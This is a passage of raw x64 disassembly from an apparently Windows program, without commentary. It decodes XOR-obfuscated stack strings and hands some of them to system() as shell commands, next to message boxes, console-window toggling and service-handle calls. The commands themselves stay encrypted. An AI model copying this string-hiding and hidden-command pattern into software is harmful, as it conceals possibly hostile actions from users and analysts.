mov qword [rbp + 0x10c0], rax
movabs rax, 0xead09b99116504f2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10c8], rax
movabs rax, 0x89b1d91f2a7b44f4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10d0], rax
movabs rax, 0x4530d85a927d0bc4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10d8], rax
movabs rax, 0x3fb25a7838fb2e59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10e0], rax
movabs rax, 0x150ba8e76e2282fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10e8], rax
movabs rax, 0x5c0ec4995d84daad
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10f0], rax
movabs rax, 0xe45f9a43e42560f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10f8], rax
movabs rax, 0xcf7ee5bc49c51933
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1100], rax
movabs rax, 0x6fc51425e57f4c18
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1108], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3cc0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3cc8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3cd0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3cd8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3ce0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3ce8], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3cf0], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3cf8], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d00], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d08], rax
vmovdqu ymm0, ymmword [rbp + 0x3cc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x10c0]
vmovdqa ymmword [rbp + 0x10c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x10e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3ce0]
vmovdqa ymmword [rbp + 0x10e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x1100]
vpxor xmm2, xmm2, xmmword [rbp + 0x3d00]
vmovdqa xmmword [rbp + 0x1100], xmm2
lea rcx, [rbp + 0x10c0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov byte [0x140128365], 0
xor eax, eax
mov byte [rbp + 0xc4], al
mov byte [rbp + 0xc5], al
mov byte [rbp + 0xc6], al
movabs rax, 0x27ad9a131046f854
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa00], rax
movabs rax, 0xba8889e5675937a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa08], rax
movabs rax, 0xd1eaa5200a1c69b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa10], rax
movabs rax, 0x325eed30e2526e9a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa18], rax
movabs rdi, 0x69e2d9335502b719
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3e60], rax
movabs rbx, 0x8fbdb4b62b167486
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3e68], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e70], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e78], rax
vmovdqu ymm0, ymmword [rbp + 0xa00]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e60]
vmovdqa ymmword [rbp + 0xa00], ymm1
lea rcx, [rbp + 0xa00]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2c48]
lea rcx, [rbp + 0x1948]
call fcn.14000e430
mov rcx, rax
call fcn.140033cf0
test al, al
je 0x14003e24a
mov byte [0x140128365], 1
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140034110
test al, al
jne 0x14003aa78
xor eax, eax
mov byte [rbp + 0xc7], al
mov byte [rbp + 0xc8], al
mov byte [rbp + 0xc9], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1180], rax
movabs rax, 0xead5d7d9596207e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1188], rax
movabs rax, 0x85a59911377b51f2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1190], rax
movabs rax, 0x5e378b5188350287
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1198], rax
movabs rax, 0x2fac5e694bc83768
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11a0], rax
movabs rax, 0x2347e3d20914a8d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x11a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3a40], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3a48], rax
movabs r14, 0xe0d7f66544552593
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3a50], rax
movabs rsi, 0x325eed30e2526ea8
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3a58], rax
movabs r12, 0x4a82123f1b9a180d
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3a60], rax
movabs r15, 0x2347e3d20914cdaa
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3a68], rax
vmovdqu ymm0, ymmword [rbp + 0x1180]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a40]
vmovdqa ymmword [rbp + 0x1180], ymm1
vmovdqa xmm0, xmmword [rbp + 0x11a0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3a60]
vmovdqa xmmword [rbp + 0x11a0], xmm0
lea rdx, [rbp + 0x1180]
lea rcx, [rbp + 0x2dd8]
vzeroupper
call fcn.140007250
nop
lea rcx, [rbp + 0x2da0]
call fcn.140034ba0
nop
lea rdx, str..exe
lea rcx, [rbp + 0x2da0]
call fcn.14000e3b0
lea rdx, [rbp + 0x2da0]
lea rcx, [rbp + 0x2dd8]
call fcn.140034400
test al, al
je 0x14003a86f
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0xd83b67f7575d257
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1380], rax
movabs rax, 0xe3d3c3d96f3606e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1388], rax
movabs rax, 0x8c87d601213144fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1390], rax
movabs rax, 0x5c2bbf1087210fcd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1398], rax
movabs rax, 0x4a82123f1b9a182d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13a0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x13a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3ac0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3ac8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3ad0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3ad8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3ae0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3ae8], rax
vmovdqu ymm0, ymmword [rbp + 0x1380]
vpxor ymm1, ymm0, ymmword [rbp + 0x3ac0]
vmovdqa ymmword [rbp + 0x1380], ymm1
vmovdqa xmm0, xmmword [rbp + 0x13a0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3ae0]
vmovdqa xmmword [rbp + 0x13a0], xmm0
lea r8, [rbp + 0x2da0]
lea rdx, [rbp + 0x1380]
lea rcx, [rbp + 0x2df8]
vzeroupper
call fcn.14003f9f0
nop
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0x6986bc473466c74c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3890], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3898], rax
movdqa xmm0, xmmword [rbp + 0x430]
pxor xmm0, xmmword [rbp + 0x3890]
movdqa xmmword [rbp + 0x430], xmm0
lea rcx, [rbp + 0x2df8]
call fcn.1400071f0
mov r9d, 0x40080
lea r8, [rbp + 0x430]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1400344c0
nop
lea rcx, [rbp + 0x2df8]
call fcn.140007240
nop
lea rcx, [rbp + 0x2da0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2dd8]
call fcn.140007240
jmp 0x14003ebcf
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0x69e2d9413a70c55c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x37d0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x37d8], rax
movdqa xmm0, xmmword [rbp + 0x440]
pxor xmm0, xmmword [rbp + 0x37d0]
movdqa xmmword [rbp + 0x440], xmm0
movabs rax, 0xd83b67f7575d257
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa20], rax
movabs rax, 0xe3d3c3d96f3606e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa28], rax
movabs rax, 0x89b6b045643144fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa30], rax
movabs rax, 0x325eed30e2360bc4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa38], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3480], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3488], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3490], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3498], rax
vmovdqu ymm0, ymmword [rbp + 0xa20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3480]
vmovdqa ymmword [rbp + 0xa20], ymm1
mov r9d, 0x40030
lea r8, [rbp + 0x440]
lea rdx, [rbp + 0xa20]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rbp + 0x2da0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2dd8]
call fcn.140007240
nop
lea rcx, [rbp + 0x2d80]
call fcn.140007240
nop
lea rcx, [rbp + 0x3150]
call fcn.14000dce0
nop
lea rcx, [rbp + 0x2c48]
call fcn.140007240
nop
lea rcx, [rbp + 0x2d60]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ea0]
call fcn.14003eca0
nop
lea rcx, [rbp + 0x2d40]
call fcn.140007240
nop
lea rcx, [rbp + 0x2d20]
call fcn.140007240
nop
lea rcx, [rbp + 0x2d00]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ce0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2cc0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ca0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2c68]
call fcn.1400114b0
mov eax, 1
jmp 0x14003ec6f
call fcn.140033c20
mov byte [0x140128367], al
cmp byte [0x140128365], 0
je 0x14003d80f
mov byte [rbp + 0xa], 1
lea rdx, [rbp + 0x2c48]
lea rcx, [rbp + 0x1928]
call fcn.14000e430
mov rdx, rax
lea rcx, [rbp + 0x2ea0]
call fcn.140087c60
cmp byte [rbp + 0x30e0], 0
jne 0x14003b444
lea rax, [rbp + 0x1908]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc48], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xc50], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc58], rax
movabs rax, 0x78b4200c29a82922
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc60], rax
movabs rax, 0x1b7fd2e13027ff9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc68], rax
movabs rax, 0x3313f4ee23e6d9d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc70], rax
movabs rax, 0xd96d8b49e3061cab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc78], rax
movabs rax, 0xc156d2be2eb41834
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc80], rax
movabs rax, 0xade382af726101f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc88], rax
movabs rax, 0xdc8e38e9d39cda2a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc90], rax
movabs rax, 0xd77d88fa2f324123
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc98], rax
movabs rax, 0x88a6f2c149120f16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xca0], rax
movabs rax, 0x94e50dcdf798092a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xca8], rax
movabs rax, 0x818fc43556cec199
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcb0], rax
movabs rax, 0x280804976705c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xcb8], rax
mov r12, rdi
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x34a0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x34a8], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34b0], rax
movabs r13, 0x325eed30e2526ea8
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x34b8], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c0], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c8], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d0], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d8], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e0], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x34f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x34f8], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3500], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3508], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3510], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3518], rax
vmovdqu ymm0, ymmword [rbp + 0xc40]
vpxor ymm1, ymm0, ymmword [rbp + 0x34a0]
vmovdqa ymmword [rbp + 0xc40], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc60]
vpxor ymm1, ymm0, ymmword [rbp + 0x34c0]
vmovdqa ymmword [rbp + 0xc60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc80]
vpxor ymm1, ymm0, ymmword [rbp + 0x34e0]
vmovdqa ymmword [rbp + 0xc80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xca0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3500]
vmovdqa ymmword [rbp + 0xca0], ymm1
lea rdx, [rbp + 0xc40]
lea rcx, [rbp + 0x1908]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0x69e2d9335562d779
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x490], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x498], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x37c0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x37c8], rax
movdqa xmm0, xmmword [rbp + 0x490]
pxor xmm0, xmmword [rbp + 0x37c0]
movdqa xmmword [rbp + 0x490], xmm0
movabs rax, 0x5390b64127479739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x480], rax
movabs rax, 0x8fbdb4b62b1654a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x488], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x37b0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x37b8], rax
movdqa xmm0, xmmword [rbp + 0x480]
pxor xmm0, xmmword [rbp + 0x37b0]
movdqa xmmword [rbp + 0x480], xmm0
lea rcx, [rbp + 0x2768]
call fcn.140034cd0
mov rdi, rax
movabs rax, 0x483971336529739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x470], rcx
movabs rax, 0x8fbdb4b60b364ee3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x478], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x37a0], rcx
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x37a8], rax
movdqa xmm0, xmmword [rbp + 0x470]
pxor xmm0, xmmword [rbp + 0x37a0]
movdqa xmmword [rbp + 0x470], xmm0
movabs rax, 0xc91b756366bfb39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x460], rax
movabs r14, 0x8fbdb4b62b3654bc
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x468], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3790], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3798], rax
movdqa xmm0, xmmword [rbp + 0x460]
pxor xmm0, xmmword [rbp + 0x3790]
movdqa xmmword [rbp + 0x460], xmm0
mov edx, 0x7a
lea rcx, [rbp + 0x2788]
call fcn.1400112d0
mov rbx, rax
movabs rax, 0x483ab543a70e739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa40], rcx
movabs rax, 0xe1d2ddc5597322a6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa48], rcx
movabs rax, 0xe0d7f665447505a9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0xa50], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xa58], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3480], rax
movabs rcx, 0x8fbdb4b62b167486
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3488], rax
movabs rdx, 0xe0d7f66544552593
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3490], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3498], rax
vmovdqu ymm0, ymmword [rbp + 0xa40]
vpxor ymm1, ymm0, ymmword [rbp + 0x3480]
vmovdqa ymmword [rbp + 0xa40], ymm1
movabs rax, 0x78db0402767e139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3780], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3788], rax
vmovdqa xmm0, xmmword [rbp + 0x450]
vpxor xmm0, xmm0, xmmword [rbp + 0x3780]
vmovdqa xmmword [rbp + 0x450], xmm0
movabs rax, 0x1d91ac617562d779
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1340], rax
movabs rax, 0xe6dcf296446424a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1348], rax
movabs rax, 0x84b9c445643140ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
movabs rax, 0x12648359853d2288
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
movabs rax, 0x4a82123f1b9a182d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1360], rax
movabs r8, 0x2347e3d20914cdaa
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x1368], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3b00], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3b08], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3b10], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3b18], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b20], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x3b28], rax
vmovdqu ymm0, ymmword [rbp + 0x1340]
vpxor ymm1, ymm0, ymmword [rbp + 0x3b00]
vmovdqa ymmword [rbp + 0x1340], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1360]
vpxor xmm0, xmm0, xmmword [rbp + 0x3b20]
vmovdqa xmmword [rbp + 0x1360], xmm0
lea r8, [0x140127090]
lea rdx, [rbp + 0x1340]
lea rcx, [rbp + 0x27a8]
vzeroupper
call fcn.14003f9f0
nop
lea r8, [rbp + 0x450]
mov rdx, rax
lea rcx, [rbp + 0x27c8]
call fcn.14003fb50
nop
lea r8, [0x1401284a0]
mov rdx, rax
lea rcx, [rbp + 0x2808]
call fcn.1400404b0
nop
lea r8, [rbp + 0xa40]
mov rdx, rax
lea rcx, [rbp + 0x17c8]
call fcn.14003fb50
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x17e8]
call fcn.140040490
nop
lea r8, [rbp + 0x460]
mov rdx, rax
lea rcx, [rbp + 0x1808]
call fcn.14003fb50
nop
lea r8, [rbp + 0x2c48]
mov rdx, rax
lea rcx, [rbp + 0x1828]
call fcn.1400404b0
nop
lea r8, [rbp + 0x470]
mov rdx, rax
lea rcx, [rbp + 0x1848]
call fcn.14003fb50
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1868]
call fcn.140040490
nop
lea r8, [rbp + 0x480]
mov rdx, rax
lea rcx, [rbp + 0x1888]
call fcn.14003fb50
nop
lea r8, [rbp + 0x30e8]
mov rdx, rax
lea rcx, [rbp + 0x18a8]
call fcn.1400404b0
nop
lea r8, [rbp + 0x490]
mov rdx, rax
lea rcx, [rbp + 0x18e8]
call fcn.14003fb50
nop
mov rdx, rsi
mov rcx, rax
call fcn.14002ed50
nop
lea rcx, [rbp + 0x18a8]
call fcn.140007240
nop
lea rcx, [rbp + 0x1888]
call fcn.140007240
nop
lea rcx, [rbp + 0x1868]
call fcn.140007240
nop
lea rcx, [rbp + 0x1848]
call fcn.140007240
nop
lea rcx, [rbp + 0x1828]
call fcn.140007240
nop
lea rcx, [rbp + 0x1808]
call fcn.140007240
nop
lea rcx, [rbp + 0x17e8]
call fcn.140007240
nop
lea rcx, [rbp + 0x17c8]
call fcn.140007240
nop
lea rcx, [rbp + 0x2808]
call fcn.140007240
nop
lea rcx, [rbp + 0x27c8]
call fcn.140007240
nop
lea rcx, [rbp + 0x27a8]
call fcn.140007240
nop
lea rcx, [rbp + 0x2788]
call fcn.140007240
nop
lea rcx, [rbp + 0x2768]
call fcn.140007240
mov ecx, reloc.WS2_32.dll_WSAGetLastError
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor eax, eax
mov byte [rbp + 0xca], al
mov byte [rbp + 0xcb], al
mov byte [rbp + 0xcc], al
movabs rax, 0x1b87ab5c3972cf7c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x8fbdb4b64e6e11a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4a8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3770], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3778], rax
movdqa xmm0, xmmword [rbp + 0x4a0]
pxor xmm0, xmmword [rbp + 0x3770]
movdqa xmmword [rbp + 0x4a0], xmm0
lea rcx, [rbp + 0x4a0]
call fcn.140011e20
mov eax, eax
mov qword [0x140128388], rax
xor eax, eax
mov byte [rbp + 0xcd], al
mov byte [rbp + 0xce], al
mov byte [rbp + 0xcf], al
movabs rax, 0xc87ad60092ceb45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
movabs rax, 0xd7ced1df597307ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movabs rax, 0xe0d7f665445525eb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
movabs rcx, 0x325eed30e2526ea8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3e20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3e28], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e30], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3e38], rax
vmovdqu ymm0, ymmword [rbp + 0x6a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e20]
vmovdqa ymmword [rbp + 0x6a0], ymm1
lea rdx, [rbp + 0x6a0]
lea rcx, [0x140128518]
vzeroupper
call fcn.140011570
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0xd0], al
mov byte [rbp + 0xd1], al
mov byte [rbp + 0xd2], al
movabs rax, 0xdccad413674c474
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b0], rax
movabs rax, 0x8fbdb4b62b1618ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4b8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3760], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3768], rax
movdqa xmm0, xmmword [rbp + 0x4b0]
pxor xmm0, xmmword [rbp + 0x3760]
movdqa xmmword [rbp + 0x4b0], xmm0
lea rdx, [rbp + 0x4b0]
lea rcx, [0x140128518]
call fcn.1400115b0
test rax, rax
je 0x14003b66c
xor dil, dil
